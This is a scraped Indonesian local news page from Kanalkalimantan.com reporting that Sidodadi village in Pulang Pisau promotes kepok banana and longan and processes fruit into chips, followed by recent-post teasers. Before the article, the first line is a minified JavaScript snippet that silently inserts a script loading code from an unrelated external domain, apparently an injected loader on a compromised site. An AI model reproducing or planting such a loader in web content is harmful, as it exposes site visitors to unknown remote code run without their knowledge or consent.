(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Pulang Pisau

Pisang Kepok dan Lengkeng Jadi Komoditi Unggulan Desa Sidodadi


KANALKALIMANTAN.COM, PULANG PISAU – Desa Sidodadi, Kecamatan Maliku, Kabupaten Pulang Pisau, Kalimantan Tengah, salah satu desa yang saat ini menjadi percontohan pengembangan hortikultura dan UMKM olahan makanan dari berbagai jenis buah.

Di bidang hortikultura Desa Sidodadi diwacanakan sebagai kampung buah dengan aneka ragam tanaman. Pengembangan kampung buah hortikultura dan UMKM di Desa Sidodadi diprakarsai pak Kuat sebagai Ketua Gapoktan Destha Tani didukung oleh Dinas Pertanian melalui bidang hortikultura dan Dirjen Hortikultura.

Menurut Jakaria, sebagai pembina kelompok ini mengatakan bahwa Desa Sidodadi merupakan wilayah percontohan pertanian bidang hortikultura. “Kita telah menanam ribuan pohon pisang dan lengkeng,” ujarnya.

Baca juga: Cek Rutin Kesehatan Para Lansia di Posyandu Senyum Ceria Alalak Selatan

Dua jenis tanaman ini diyakini mampu meningkatkan perekonomian masyarakat di Desa Sidodadi, contoh saja tanaman pisang yang saat ini harganya cukup tinggi.

“Apalagi yang kita tanam saat ini adalah pisang dari jenis pisang kepok tanjung yang bibitnya kita datangkan langsung dari Kalimantan Barat,” ujar Jakaria, Minggu (3/9/2023).

Jakaria, salah satu Kasi di Dinas Pertanian Kabupaten Pulang Pisau berterima kasih kepada Dirjen Hortikultura sebab telah mendukung kegiatan ini dengan memberikan banyak fasilitas dalam keberlangsungan program.

Desa Sidodadi memiliki komoditi unggulan yaitu pisang kepok dan lengkeng, selain dijual secara langsung ke masyarakat, buah-buah tersebut bisa diolah menjadi makanan siap saji.

Baca juga: Kekeringan Melanda Desa Batu Tanam, Air Bersih Kini Jadi Sangat Berharga

“Saat ini makanan yang telah diolah oleh ibu-ibu PKK melalui Bumdes Sesa Sidodadi seperti kripik pisang, kripik nangka, kripik nanas, kripik salak dan kripik pepaya,” ujar Jakaria. (Kanalkalimantan.com/zul)

Reporter : zul
Editor : kk


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.